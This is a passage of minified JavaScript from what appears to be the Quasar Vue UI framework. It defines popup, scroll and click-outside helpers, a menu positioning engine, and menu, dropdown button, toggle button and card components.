      , xe = {
        methods: {
            __nextTick: function(t) {
                this.__tickFn = t
            },
            __prepareTick: function() {
                var t = this;
                if (void 0 !== this.__tickFn) {
                    var e = this.__tickFn;
                    this.$nextTick(function() {
                        t.__tickFn === e && (t.__tickFn(),
                        t.__tickFn = void 0)
                    })
                }
            },
            __clearTick: function() {
                this.__tickFn = void 0
            },
            __setTimeout: function(t, e) {
                clearTimeout(this.__timer),
                this.__timer = setTimeout(t, e)
            },
            __clearTimeout: function() {
                clearTimeout(this.__timer)
            }
        },
        beforeDestroy: function() {
            this.__tickFn = void 0,
            clearTimeout(this.__timer)
        }
    }
      , Ce = {
        mixins: [xe, Mt],
        props: {
            value: {
                type: Boolean,
                default: void 0
            }
        },
        data: function() {
            return {
                showing: !1
            }
        },
        watch: {
            value: function(t) {
                this.__processModelChange(t)
            },
            $route: function() {
                !0 === this.hideOnRouteChange && !0 === this.showing && this.hide()
            }
        },
        methods: {
            toggle: function(t) {
                this[!0 === this.showing ? "hide" : "show"](t)
            },
            show: function(t) {
                var e = this;
                !0 === this.disable || void 0 !== this.__showCondition && !0 !== this.__showCondition(t) || (void 0 !== this.qListeners.input && !1 === i && (this.$emit("input", !0),
                this.payload = t,
                this.$nextTick(function() {
                    e.payload === t && (e.payload = void 0)
                })),
                void 0 !== this.value && void 0 !== this.qListeners.input && !0 !== i || this.__processShow(t))
            },
            __processShow: function(t) {
                !0 !== this.showing && (void 0 !== this.__preparePortal && this.__preparePortal(),
                this.showing = !0,
                this.$emit("before-show", t),
                void 0 !== this.__show ? (this.__clearTick(),
                this.__show(t),
                this.__prepareTick()) : this.$emit("show", t))
            },
            hide: function(t) {
                var e = this;
                !0 !== this.disable && (void 0 !== this.qListeners.input && !1 === i && (this.$emit("input", !1),
                this.payload = t,
                this.$nextTick(function() {
                    e.payload === t && (e.payload = void 0)
                })),
                void 0 !== this.value && void 0 !== this.qListeners.input && !0 !== i || this.__processHide(t))
            },
            __processHide: function(t) {
                !1 !== this.showing && (this.showing = !1,
                this.$emit("before-hide", t),
                void 0 !== this.__hide ? (this.__clearTick(),
                this.__hide(t),
                this.__prepareTick()) : this.$emit("hide", t))
            },
            __processModelChange: function(t) {
                !0 === this.disable && !0 === t ? void 0 !== this.qListeners.input && this.$emit("input", !1) : !0 === t !== this.showing && this["__process" + (!0 === t ? "Show" : "Hide")](this.payload)
            }
        }
    };
    function ke(t, e) {
        do {
            if ("QMenu" === t.$options.name) {
                if (t.hide(e),
                !0 === t.separateClosePopup)
                    return t.$parent
            } else if (void 0 !== t.__renderPortal)
                return void 0 !== t.$parent && "QPopupProxy" === t.$parent.$options.name ? (t.hide(e),
                t.$parent) : t;
            t = t.$parent
        } while (void 0 !== t)
    }
    var qe = {
        inheritAttrs: !1,
        props: {
            contentClass: [Array, String, Object],
            contentStyle: [Array, String, Object]
        },
        methods: {
            __showPortal: function() {
                var t = this;
                if (void 0 !== this.$q.fullscreen && !0 === this.$q.fullscreen.isCapable) {
                    var e = function(e) {
                        if (void 0 !== t.__portal) {
                            var i = Jt(e, t.$q.fullscreen.activeEl);
                            t.__portal.$el.parentElement !== i && i.contains(t.$el) === (!1 === t.__onGlobalDialog) && i.appendChild(t.__portal.$el)
                        }
                    };
                    this.unwatchFullscreen = this.$watch("$q.fullscreen.isActive", e);
                    var i = this.$q.fullscreen.isActive;
                    !1 !== this.__onGlobalDialog && !0 !== i || e(i)
                } else
                    void 0 !== this.__portal && !1 === this.__onGlobalDialog && document.body.appendChild(this.__portal.$el)
            },
            __hidePortal: function() {
                void 0 !== this.__portal && (void 0 !== this.unwatchFullscreen && (this.unwatchFullscreen(),
                this.unwatchFullscreen = void 0),
                !1 === this.__onGlobalDialog && (this.__portal.$destroy(),
                this.__portal.$el.remove()),
                this.__portal = void 0)
            },
            __preparePortal: function() {
                var e = this;
                void 0 === this.__portal && (this.__portal = !0 === this.__onGlobalDialog ? {
                    $el: this.$el,
                    $refs: this.$refs
                } : new t({
                    name: "QPortal",
                    parent: this,
                    inheritAttrs: !1,
                    render: function(t) {
                        return e.__renderPortal(t)
                    },
                    components: this.$options.components,
                    directives: this.$options.directives
                }).$mount())
            }
        },
        render: function(t) {
            if (!0 === this.__onGlobalDialog)
                return this.__renderPortal(t);
            void 0 !== this.__portal && this.__portal.$forceUpdate()
        },
        beforeDestroy: function() {
            this.__hidePortal()
        }
    };
    !1 === i && (qe.created = function() {
        this.__onGlobalDialog = function(t) {
            for (; void 0 !== t; ) {
                if ("QGlobalDialog" === t.$options.name)
                    return !0;
                if ("QDialog" === t.$options.name)
                    return !1;
                t = t.$parent
            }
            return !1
        }(this.$parent)
    }
    );
    var Te, $e = {
        props: {
            transitionShow: {
                type: String,
                default: "fade"
            },
            transitionHide: {
                type: String,
                default: "fade"
            }
        },
        data: function() {
            return {
                transitionState: this.showing
            }
        },
        watch: {
            showing: function(t) {
                var e = this;
                this.transitionShow !== this.transitionHide && this.$nextTick(function() {
                    e.transitionState = t
                })
            }
        },
        computed: {
            transition: function() {
                return "q-transition--" + (!0 === this.transitionState ? this.transitionHide : this.transitionShow)
            }
        }
    };
    var Me = d.notPassiveCapture
      , Le = d.passiveCapture
      , Be = {
        click: [],
        focus: []
    };
    function Pe(t, e) {
        for (var i = t.length - 1; i >= 0; i--)
            if (void 0 === t[i](e))
                return
    }
    function Oe(t) {
        clearTimeout(Te),
        "focusin" === t.type && !0 === t.target.hasAttribute("tabindex") ? Te = setTimeout(function() {
            Pe(Be.focus, t)
        }, 200) : Pe(Be.click, t)
    }
    var Ee, ze = {
        name: "click-outside",
        bind: function(t, e, i) {
            var s = e.value
              , n = e.arg
              , o = i.componentInstance || i.context
              , r = {
                trigger: s,
                toggleEl: n,
                handler: function(t) {
                    var e = t.target;
                    if (!(void 0 === e || 8 === e.nodeType || e === document.documentElement || !1 !== e.classList.contains("no-pointer-events") || void 0 !== r.toggleEl && !1 !== r.toggleEl.contains(e) || e !== document.body && !1 !== function(t, e) {
                        for (var i = t; void 0 !== i; i = i.$parent)
                            if (i === e)
                                return !0;
                        return !1
                    }(function(t) {
                        for (var e = t; null !== e; e = e.parentNode) {
                            if (null === e.__vue__)
                                return;
                            if (void 0 !== e.__vue__)
                                return e.__vue__
                        }
                    }(e), o)))
                        return t.qClickOutside = !0,
                        r.trigger(t)
                }
            };
            t.__qclickoutside && (t.__qclickoutside_old = t.__qclickoutside),
            t.__qclickoutside = r,
            0 === Be.click.length && (document.addEventListener("mousedown", Oe, Me),
            document.addEventListener("touchstart", Oe, Me),
            document.addEventListener("focusin", Oe, Le)),
            Be.click.push(r.handler),
            r.timerFocusin = setTimeout(function() {
                Be.focus.push(r.handler)
            }, 500)
        },
        update: function(t, e) {
            var i = e.value
              , s = e.oldValue
              , n = e.arg
              , o = t.__qclickoutside;
            i !== s && (o.trigger = i),
            n !== o.arg && (o.toggleEl = n)
        },
        unbind: function(t) {
            var e = t.__qclickoutside_old || t.__qclickoutside;
            if (void 0 !== e) {
                clearTimeout(e.timerFocusin);
                var i = Be.click.findIndex(function(t) {
                    return t === e.handler
                })
                  , s = Be.focus.findIndex(function(t) {
                    return t === e.handler
                });
                i > -1 && Be.click.splice(i, 1),
                s > -1 && Be.focus.splice(s, 1),
                0 === Be.click.length && (clearTimeout(Te),
                document.removeEventListener("mousedown", Oe, Me),
                document.removeEventListener("touchstart", Oe, Me),
                document.removeEventListener("focusin", Oe, Le)),
                delete t[t.__qclickoutside_old ? "__qclickoutside_old" : "__qclickoutside"]
            }
        }
    }, Ae = !1 === i ? [null, document, document.body, document.scrollingElement, document.documentElement] : [];
    function De(t, e) {
        if ("string" == typeof e)
            try {
                e = document.querySelector(e)
            } catch (t) {
                e = void 0
            }
        return void 0 === e || null === e ? e = t.closest(".scroll,.scroll-y,.overflow-auto") : !0 === e._isVue && void 0 !== e.$el && (e = e.$el),
        Ae.includes(e) ? window : e
    }
    function Re(t) {
        return (t === window ? document.body : t).scrollHeight
    }
    function Ie(t) {
        return t === window ? window.pageYOffset || window.scrollY || document.body.scrollTop || 0 : t.scrollTop
    }
    function Fe(t) {
        return t === window ? window.pageXOffset || window.scrollX || document.body.scrollLeft || 0 : t.scrollLeft
    }
    function je(t, e, i) {
        void 0 === i && (i = 0);
        var s = Ie(t);
        i <= 0 ? s !== e && Ne(t, e) : requestAnimationFrame(function() {
            var n = s + (e - s) / Math.max(16, i) * 16;
            Ne(t, n),
            n !== e && je(t, e, i - 16)
        })
    }
    function Ve(t, e, i) {
        void 0 === i && (i = 0);
        var s = Fe(t);
        i <= 0 ? s !== e && He(t, e) : requestAnimationFrame(function() {
            var n = s + (e - s) / Math.max(16, i) * 16;
            He(t, n),
            n !== e && Ve(t, e, i - 16)
        })
    }
    function Ne(t, e) {
        t !== window ? t.scrollTop = e : window.scrollTo(window.pageXOffset || window.scrollX || document.body.scrollLeft || 0, e)
    }
    function He(t, e) {
        t !== window ? t.scrollLeft = e : window.scrollTo(e, window.pageYOffset || window.scrollY || document.body.scrollTop || 0)
    }
    function Qe(t, e, i) {
        i ? je(t, e, i) : Ne(t, e)
    }
    function We(t, e, i) {
        i ? Ve(t, e, i) : He(t, e)
    }
    function Ye() {
        if (void 0 !== Ee)
            return Ee;
        var t = document.createElement("p")
          , e = document.createElement("div");
        Zt(t, {
            width: "100%",
            height: "200px"
        }),
        Zt(e, {
            position: "absolute",
            top: "0px",
            left: "0px",
            visibility: "hidden",
            width: "200px",
            height: "150px",
            overflow: "hidden"
        }),
        e.appendChild(t),
        document.body.appendChild(e);
        var i = t.offsetWidth;
        e.style.overflow = "scroll";
        var s = t.offsetWidth;
        return i === s && (s = e.clientWidth),
        e.remove(),
        Ee = i - s
    }
    function Ue(t, e) {
        return void 0 === e && (e = !0),
        !(!t || t.nodeType !== Node.ELEMENT_NODE) && (e ? t.scrollHeight > t.clientHeight && (t.classList.contains("scroll") || t.classList.contains("overflow-auto") || ["auto", "scroll"].includes(window.getComputedStyle(t)["overflow-y"])) : t.scrollWidth > t.clientWidth && (t.classList.contains("scroll") || t.classList.contains("overflow-auto") || ["auto", "scroll"].includes(window.getComputedStyle(t)["overflow-x"])))
    }
    var Ke, Xe, Ge = {
        getScrollTarget: De,
        getScrollHeight: Re,
        getScrollWidth: function(t) {
            return (t === window ? document.body : t).scrollWidth
        },
        getScrollPosition: Ie,
        getHorizontalScrollPosition: Fe,
        animScrollTo: je,
        animHorizontalScrollTo: Ve,
        setScrollPosition: Qe,
        setHorizontalScrollPosition: We,
        getScrollbarWidth: Ye,
        hasScrollbar: Ue
    }, Ze = [], Je = !1, ti = {
        __install: function() {
            this.__installed = !0,
            window.addEventListener("keydown", function(t) {
                Je = 27 === t.keyCode
            }),
            window.addEventListener("blur", function() {
                !0 === Je && (Je = !1)
            }),
            window.addEventListener("keyup", function(t) {
                !0 === Je && (Je = !1,
                0 !== Ze.length && !0 === tt(t, 27) && Ze[Ze.length - 1].fn(t))
            })
        },
        register: function(t, e) {
            !0 === t.$q.platform.is.desktop && (!0 !== this.__installed && this.__install(),
            Ze.push({
                comp: t,
                fn: e
            }))
        },
        pop: function(t) {
            if (!0 === t.$q.platform.is.desktop) {
                var e = Ze.findIndex(function(e) {
                    return e.comp === t
                });
                e > -1 && Ze.splice(e, 1)
            }
        }
    };
    function ei(t) {
        var e = t.split(" ");
        return 2 === e.length && (["top", "center", "bottom"].includes(e[0]) ? !!["left", "middle", "right"].includes(e[1]) || (console.error("Anchor/Self position must end with one of left/middle/right"),
        !1) : (console.error("Anchor/Self position must start with one of top/center/bottom"),
        !1))
    }
    function ii(t) {
        return !t || 2 === t.length && ("number" == typeof t[0] && "number" == typeof t[1])
    }
    function si(t) {
        var e = t.split(" ");
        return {
            vertical: e[0],
            horizontal: e[1]
        }
    }
    function ni(t) {
        if (!0 === u.is.ios && void 0 !== window.visualViewport) {
            var e = document.body.style
              , i = window.visualViewport
              , s = i.offsetLeft
              , n = i.offsetTop;
            s !== Ke && (e.setProperty("--q-pe-left", s + "px"),
            Ke = s),
            n !== Xe && (e.setProperty("--q-pe-top", n + "px"),
            Xe = n)
        }
        var o, r = t.el, a = r.scrollLeft, l = r.scrollTop;
        if (void 0 === t.absoluteOffset)
            o = function(t, e) {
                var i = t.getBoundingClientRect()
                  , s = i.top
                  , n = i.left
                  , o = i.right
                  , r = i.bottom
                  , a = i.width
                  , l = i.height;
                return void 0 !== e && (s -= e[1],
                n -= e[0],
                r += e[1],
                o += e[0],
                a += e[0],
                l += e[1]),
                {
                    top: s,
                    left: n,
                    right: o,
                    bottom: r,
                    width: a,
                    height: l,
                    middle: n + (o - n) / 2,
                    center: s + (r - s) / 2
                }
            }(t.anchorEl, !0 === t.cover ? [0, 0] : t.offset);
        else {
            var c = t.anchorEl.getBoundingClientRect()
              , h = c.top
              , d = c.left
              , p = h + t.absoluteOffset.top
              , f = d + t.absoluteOffset.left;
            o = {
                top: p,
                left: f,
                width: 1,
                height: 1,
                right: f + 1,
                center: p,
                middle: f,
                bottom: p + 1
            }
        }
        var m = {
            maxHeight: t.maxHeight,
            maxWidth: t.maxWidth,
            visibility: "visible"
        };
        !0 !== t.fit && !0 !== t.cover || (m.minWidth = o.width + "px",
        !0 === t.cover && (m.minHeight = o.height + "px")),
        Object.assign(t.el.style, m);
        var v = function(t) {
            return {
                top: 0,
                center: t.offsetHeight / 2,
                bottom: t.offsetHeight,
                left: 0,
                middle: t.offsetWidth / 2,
                right: t.offsetWidth
            }
        }(t.el)
          , g = {
            top: o[t.anchorOrigin.vertical] - v[t.selfOrigin.vertical],
            left: o[t.anchorOrigin.horizontal] - v[t.selfOrigin.horizontal]
        };
        !function(t, e, i, s, n) {
            var o = i.bottom
              , r = i.right
              , a = Ye()
              , l = window.innerHeight - a
              , c = document.body.clientWidth;
            if (t.top < 0 || t.top + o > l)
                if ("center" === n.vertical)
                    t.top = e[s.vertical] > l / 2 ? Math.max(0, l - o) : 0,
                    t.maxHeight = Math.min(o, l);
                else if (e[s.vertical] > l / 2) {
                    var u = Math.min(l, "center" === s.vertical ? e.center : s.vertical === n.vertical ? e.bottom : e.top);
                    t.maxHeight = Math.min(o, u),
                    t.top = Math.max(0, u - o)
                } else
                    t.top = Math.max(0, "center" === s.vertical ? e.center : s.vertical === n.vertical ? e.top : e.bottom),
                    t.maxHeight = Math.min(o, l - t.top);
            if (t.left < 0 || t.left + r > c)
                if (t.maxWidth = Math.min(r, c),
                "middle" === n.horizontal)
                    t.left = e[s.horizontal] > c / 2 ? Math.max(0, c - r) : 0;
                else if (e[s.horizontal] > c / 2) {
                    var h = Math.min(c, "middle" === s.horizontal ? e.middle : s.horizontal === n.horizontal ? e.right : e.left);
                    t.maxWidth = Math.min(r, h),
                    t.left = Math.max(0, h - t.maxWidth)
                } else
                    t.left = Math.max(0, "middle" === s.horizontal ? e.middle : s.horizontal === n.horizontal ? e.left : e.right),
                    t.maxWidth = Math.min(r, c - t.left)
        }(g, o, v, t.anchorOrigin, t.selfOrigin),
        m = {
            top: g.top + "px",
            left: g.left + "px"
        },
        void 0 !== g.maxHeight && (m.maxHeight = g.maxHeight + "px",
        o.height > g.maxHeight && (m.minHeight = m.maxHeight)),
        void 0 !== g.maxWidth && (m.maxWidth = g.maxWidth + "px",
        o.width > g.maxWidth && (m.minWidth = m.maxWidth)),
        Object.assign(t.el.style, m),
        t.el.scrollTop !== l && (t.el.scrollTop = l),
        t.el.scrollLeft !== a && (t.el.scrollLeft = a)
    }
    var oi = t.extend({
        name: "QMenu",
        mixins: [_t, Dt, Se, Ce, qe, $e],
        directives: {
            ClickOutside: ze
        },
        props: {
            persistent: Boolean,
            autoClose: Boolean,
            separateClosePopup: Boolean,
            noRefocus: Boolean,
            noFocus: Boolean,
            fit: Boolean,
            cover: Boolean,
            square: Boolean,
            anchor: {
                type: String,
                validator: ei
            },
            self: {
                type: String,
                validator: ei
            },
            offset: {
                type: Array,
                validator: ii
            },
            scrollTarget: {
                default: void 0
            },
            touchPosition: Boolean,
            maxHeight: {
                type: String,
                default: null
            },
            maxWidth: {
                type: String,
                default: null
            }
        },
        computed: {
            horizSide: function() {
                return !0 === this.$q.lang.rtl ? "right" : "left"
            },
            anchorOrigin: function() {
                return si(this.anchor || (!0 === this.cover ? "center middle" : "bottom " + this.horizSide))
            },
            selfOrigin: function() {
                return !0 === this.cover ? this.anchorOrigin : si(this.self || "top " + this.horizSide)
            },
            menuClass: function() {
                return (!0 === this.square ? " q-menu--square" : "") + (!0 === this.isDark ? " q-menu--dark q-dark" : "")
            },
            hideOnRouteChange: function() {
                return !0 !== this.persistent
            },
            onEvents: function() {
                var t = Object.assign({}, this.qListeners, {
                    input: y,
                    "popup-show": y,
                    "popup-hide": y
                });
                return !0 === this.autoClose && (t.click = this.__onAutoClose),
                t
            },
            attrs: function() {
                return Object.assign({}, {
                    tabindex: -1
                }, this.qAttrs)
            }
        },
        methods: {
            focus: function() {
                var t = void 0 !== this.__portal && void 0 !== this.__portal.$refs ? this.__portal.$refs.inner : void 0;
                void 0 !== t && !0 !== t.contains(document.activeElement) && (t = t.querySelector("[autofocus], [data-autofocus]") || t).focus()
            },
            __show: function(t) {
                var e = this;
                if (this.__refocusTarget = !1 === this.noRefocus && null !== document.activeElement ? document.activeElement : void 0,
                ti.register(this, function() {
                    !0 !== e.persistent && (e.$emit("escape-key"),
                    e.hide())
                }),
                this.__showPortal(),
                this.__configureScrollTarget(),
                this.absoluteOffset = void 0,
                void 0 !== t && (this.touchPosition || this.contextMenu)) {
                    var i = v(t);
                    if (void 0 !== i.left) {
                        var s = this.anchorEl.getBoundingClientRect()
                          , n = s.top
                          , o = s.left;
                        this.absoluteOffset = {
                            left: i.left - o,
                            top: i.top - n
                        }
                    }
                }
                void 0 === this.unwatch && (this.unwatch = this.$watch(function() {
                    return e.$q.screen.width + "|" + e.$q.screen.height + "|" + e.self + "|" + e.anchor
                }, this.updatePosition)),
                this.$el.dispatchEvent(C("popup-show", {
                    bubbles: !0
                })),
                !0 !== this.noFocus && null !== document.activeElement && document.activeElement.blur(),
                this.__nextTick(function() {
                    e.updatePosition(),
                    !0 !== e.noFocus && e.focus()
                }),
                this.__setTimeout(function() {
                    !0 === e.$q.platform.is.ios && (e.__avoidAutoClose = e.autoClose,
                    e.__portal.$el.click()),
                    e.updatePosition(),
                    e.$emit("show", t)
                }, 300)
            },
            __hide: function(t) {
                var e = this;
                this.__anchorCleanup(!0),
                void 0 === this.__refocusTarget || null === this.__refocusTarget || void 0 !== t && !0 === t.qClickOutside || this.__refocusTarget.focus(),
                this.$el.dispatchEvent(C("popup-hide", {
                    bubbles: !0
                })),
                this.__setTimeout(function() {
                    e.__hidePortal(),
                    e.$emit("hide", t)
                }, 300)
            },
            __anchorCleanup: function(t) {
                this.absoluteOffset = void 0,
                void 0 !== this.unwatch && (this.unwatch(),
                this.unwatch = void 0),
                !0 !== t && !0 !== this.showing || (ti.pop(this),
                this.__unconfigureScrollTarget())
            },
            __unconfigureScrollTarget: function() {
                void 0 !== this.__scrollTarget && (this.__changeScrollEvent(this.__scrollTarget),
                this.__scrollTarget = void 0)
            },
            __configureScrollTarget: function() {
                void 0 === this.anchorEl && void 0 === this.scrollTarget || (this.__scrollTarget = De(this.anchorEl, this.scrollTarget),
                this.__changeScrollEvent(this.__scrollTarget, this.updatePosition))
            },
            __onAutoClose: function(t) {
                !0 !== this.__avoidAutoClose ? (ke(this, t),
                void 0 !== this.qListeners.click && this.$emit("click", t)) : this.__avoidAutoClose = !1
            },
            updatePosition: function() {
                if (void 0 !== this.anchorEl && void 0 !== this.__portal) {
                    var t = this.__portal.$el;
                    8 !== t.nodeType ? ni({
                        el: t,
                        offset: this.offset,
                        anchorEl: this.anchorEl,
                        anchorOrigin: this.anchorOrigin,
                        selfOrigin: this.selfOrigin,
                        absoluteOffset: this.absoluteOffset,
                        fit: this.fit,
                        cover: this.cover,
                        maxHeight: this.maxHeight,
                        maxWidth: this.maxWidth
                    }) : setTimeout(this.updatePosition, 25)
                }
            },
            __onClickOutside: function(t) {
                if (!0 !== this.persistent && !0 === this.showing) {
                    var e = t.target.classList;
                    return this.hide(t),
                    ("touchstart" === t.type || e.contains("q-dialog__backdrop")) && S(t),
                    !0
                }
            },
            __renderPortal: function(t) {
                return t("transition", {
                    props: {
                        name: this.transition
                    }
                }, [!0 === this.showing ? t("div", {
                    ref: "inner",
                    staticClass: "q-menu q-position-engine scroll" + this.menuClass,
                    class: this.contentClass,
                    style: this.contentStyle,
                    attrs: this.attrs,
                    on: this.onEvents,
                    directives: [{
                        name: "click-outside",
                        value: this.__onClickOutside,
                        arg: this.anchorEl
                    }]
                }, Lt(this, "default")) : null])
            }
        },
        mounted: function() {
            this.__processModelChange(this.value)
        },
        beforeDestroy: function() {
            !0 === this.showing && void 0 !== this.anchorEl && this.anchorEl.dispatchEvent(C("popup-hide", {
                bubbles: !0
            }))
        }
    })
      , ri = t.extend({
        name: "QBtnDropdown",
        mixins: [ae],
        props: {
            value: Boolean,
            split: Boolean,
            dropdownIcon: String,
            contentClass: [Array, String, Object],
            contentStyle: [Array, String, Object],
            cover: Boolean,
            persistent: Boolean,
            autoClose: Boolean,
            menuAnchor: {
                type: String,
                default: "bottom right"
            },
            menuSelf: {
                type: String,
                default: "top right"
            },
            menuOffset: Array,
            disableMainBtn: Boolean,
            disableDropdown: Boolean,
            noIconAnimation: Boolean
        },
        data: function() {
            return {
                showing: this.value
            }
        },
        watch: {
            value: function(t) {
                void 0 !== this.$refs.menu && this.$refs.menu[t ? "show" : "hide"]()
            }
        },
        render: function(t) {
            var e = this
              , i = Lt(this, "label", [])
              , s = {
                "aria-expanded": !0 === this.showing ? "true" : "false",
                "aria-haspopup": !0
            };
            (!0 === this.disable || !1 === this.split && !0 === this.disableMainBtn || !0 === this.disableDropdown) && (s["aria-disabled"] = "");
            var n = [t(Et, {
                props: {
                    name: this.dropdownIcon || this.$q.iconSet.arrow.dropdown
                },
                class: "q-btn-dropdown__arrow" + (!0 === this.showing && !1 === this.noIconAnimation ? " rotate-180" : "") + (!1 === this.split ? " q-btn-dropdown__arrow-container" : "")
            })];
            if (!0 !== this.disableDropdown && n.push(t(oi, {
                ref: "menu",
                props: {
                    cover: this.cover,
                    fit: !0,
                    persistent: this.persistent,
                    autoClose: this.autoClose,
                    anchor: this.menuAnchor,
                    self: this.menuSelf,
                    offset: this.menuOffset,
                    contentClass: this.contentClass,
                    contentStyle: this.contentStyle,
                    separateClosePopup: !0
                },
                on: mt(this, "menu", {
                    "before-show": function(t) {
                        e.showing = !0,
                        e.$emit("before-show", t)
                    },
                    show: function(t) {
                        e.$emit("show", t),
                        e.$emit("input", !0)
                    },
                    "before-hide": function(t) {
                        e.showing = !1,
                        e.$emit("before-hide", t)
                    },
                    hide: function(t) {
                        e.$emit("hide", t),
                        e.$emit("input", !1)
                    }
                })
            }, Lt(this, "default"))),
            !1 === this.split)
                return t(be, {
                    class: "q-btn-dropdown q-btn-dropdown--simple",
                    props: Object.assign({}, this.$props, {
                        disable: !0 === this.disable || !0 === this.disableMainBtn,
                        noWrap: !0,
                        round: !1
                    }),
                    attrs: s,
                    on: mt(this, "nonSpl", {
                        click: function(t) {
                            e.$emit("click", t)
                        }
                    })
                }, i.concat(n));
            var o = t(be, {
                class: "q-btn-dropdown--current",
                props: Object.assign({}, this.$props, {
                    disable: !0 === this.disable || !0 === this.disableMainBtn,
                    noWrap: !0,
                    iconRight: this.iconRight,
                    round: !1
                }),
                on: mt(this, "spl", {
                    click: function(t) {
                        e.hide(),
                        e.$emit("click", t)
                    }
                })
            }, i);
            return t(ye, {
                props: {
                    outline: this.outline,
                    flat: this.flat,
                    rounded: this.rounded,
                    push: this.push,
                    unelevated: this.unelevated,
                    glossy: this.glossy,
                    stretch: this.stretch
                },
                staticClass: "q-btn-dropdown q-btn-dropdown--split no-wrap q-btn-item"
            }, [o, t(be, {
                staticClass: "q-btn-dropdown__arrow-container",
                attrs: s,
                props: {
                    disable: !0 === this.disable || !0 === this.disableDropdown,
                    outline: this.outline,
                    flat: this.flat,
                    rounded: this.rounded,
                    push: this.push,
                    size: this.size,
                    color: this.color,
                    textColor: this.textColor,
                    dense: this.dense,
                    ripple: this.ripple
                }
            }, n)])
        },
        methods: {
            toggle: function(t) {
                this.$refs.menu && this.$refs.menu.toggle(t)
            },
            show: function(t) {
                this.$refs.menu && this.$refs.menu.show(t)
            },
            hide: function(t) {
                this.$refs.menu && this.$refs.menu.hide(t)
            }
        },
        mounted: function() {
            !0 === this.value && this.show()
        }
    })
      , ai = {
        props: {
            name: String
        },
        computed: {
            formAttrs: function() {
                return {
                    type: "hidden",
                    name: this.name,
                    value: this.value
                }
            }
        },
        methods: {
            __injectFormInput: function(t, e, i) {
                t[e](this.$createElement("input", {
                    staticClass: "hidden",
                    class: i,
                    attrs: this.formAttrs,
                    domProps: this.formDomProps
                }))
            }
        }
    }
      , li = {
        props: {
            name: String
        },
        computed: {
            nameProp: function() {
                return this.name || this.for
            }
        }
    }
      , ci = t.extend({
        name: "QBtnToggle",
        mixins: [Mt, oe, ai],
        props: {
            value: {
                required: !0
            },
            options: {
                type: Array,
                required: !0,
                validator: function(t) {
                    return t.every(function(t) {
                        return ("label"in t || "icon"in t || "slot"in t) && "value"in t
                    })
                }
            },
            color: String,
            textColor: String,
            toggleColor: {
                type: String,
                default: "primary"
            },
            toggleTextColor: String,
            outline: Boolean,
            flat: Boolean,
            unelevated: Boolean,
            rounded: Boolean,
            push: Boolean,
            glossy: Boolean,
            size: String,
            noCaps: Boolean,
            noWrap: Boolean,
            dense: Boolean,
            readonly: Boolean,
            disable: Boolean,
            stack: Boolean,
            stretch: Boolean,
            spread: Boolean,
            clearable: Boolean
        },
        computed: {
            hasActiveValue: function() {
                var t = this;
                return void 0 !== this.options.find(function(e) {
                    return e.value === t.value
                })
            },
            formAttrs: function() {
                return {
                    type: "hidden",
                    name: this.name,
                    value: this.value
                }
            }
        },
        methods: {
            __set: function(t, e, i) {
                !0 !== this.readonly && (this.value === t ? !0 === this.clearable && (this.$emit("input", null, null),
                this.$emit("clear")) : this.$emit("input", t, e),
                this.$emit("click", i))
            }
        },
        render: function(t) {
            var e = this
              , i = this.options.map(function(i, s) {
                return t(be, {
                    key: s,
                    class: i.class,
                    style: i.style,
                    on: Object.assign({}, e.qListeners, {
                        click: function(t) {
                            return e.__set(i.value, i, t)
                        }
                    }),
                    props: {
                        disable: e.disable || i.disable,
                        label: i.label,
                        color: i.value === e.value ? i.toggleColor || e.toggleColor : i.color || e.color,
                        textColor: i.value === e.value ? i.toggleTextColor || e.toggleTextColor : i.textColor || e.textColor,
                        icon: i.icon,
                        iconRight: i.iconRight,
                        noCaps: void 0 === i.noCaps ? e.noCaps : !0 === i.noCaps,
                        noWrap: void 0 === i.noWrap ? e.noWrap : !0 === i.noWrap,
                        outline: e.outline,
                        flat: e.flat,
                        rounded: e.rounded,
                        push: e.push,
                        unelevated: e.unelevated,
                        size: e.size,
                        dense: e.dense,
                        ripple: void 0 === i.ripple ? e.ripple : i.ripple,
                        stack: void 0 === i.stack ? e.stack : !0 === i.stack,
                        tabindex: i.tabindex,
                        stretch: void 0 === i.stretch ? e.stretch : !0 === i.stretch
                    }
                }, void 0 !== i.slot ? Lt(e, i.slot) : void 0)
            });
            return void 0 !== this.name && !0 !== this.disable && !0 === this.hasActiveValue && this.__injectFormInput(i, "push"),
            t(ye, {
                staticClass: "q-btn-toggle",
                props: {
                    outline: this.outline,
                    flat: this.flat,
                    rounded: this.rounded,
                    push: this.push,
                    stretch: this.stretch,
                    unelevated: this.unelevated,
                    glossy: this.glossy,
                    spread: this.spread
                }
            }, i)
        }
    })
      , ui = t.extend({
        name: "QCard",
        mixins: [Mt, Dt, $t],
        props: {
            square: Boolean,
            flat: Boolean,
            bordered: Boolean
        },
        computed: {
            classes: function() {
                return "q-card" + (!0 === this.isDark ? " q-card--dark q-dark" : "") + (!0 === this.bordered ? " q-card--bordered" : "") + (!0 === this.square ? " q-card--square no-border-radius" : "") + (!0 === this.flat ? " q-card--flat no-shadow" : "")
            }
        },
        render: function(t) {
            return t(this.tag, {
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , hi = t.extend({
        name: "QCardSection",
        mixins: [Mt, $t],
        props: {
            horizontal: Boolean
        },
        computed: {
            classes: function() {
                return "q-card__section q-card__section--" + (!0 === this.horizontal ? "horiz row no-wrap" : "vert")
            }
        },
        render: function(t) {
            return t(this.tag, {
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , di = t.extend({
        name: "QCardActions",
        mixins: [Mt, Ht],
        props: {
            vertical: Boolean
        },
        computed: {
            classes: function() {
                return "q-card__actions--" + (!0 === this.vertical ? "vert column" : "horiz row") + " " + this.alignClass
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-card__actions",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    });
    var pi = {
        name: "touch-swipe",
        bind: function(t, e) {
            var i = e.value
              , s = e.arg
              , n = e.modifiers;
            if (!0 === n.mouse || !0 === u.has.touch) {
                var o = !0 === n.mouseCapture ? "Capture" : ""
                  , r = {
                    handler: i,
                    sensitivity: function(t) {
                        var e = [.06, 6, 50];
                        return "string" == typeof t && t.length && t.split(":").forEach(function(t, i) {
                            var s = parseFloat(t);
                            s && (e[i] = s)
                        }),
                        e
                    }(s),
                    modifiers: n,
                    direction: ue(n),
                    noop: f,
                    mouseStart: function(t) {
                        pe(t, r) && m(t) && (k(r, "temp", [[document, "mousemove", "move", "notPassive" + o], [document, "mouseup", "end", "notPassiveCapture"]]),
                        r.start(t, !0))
                    },
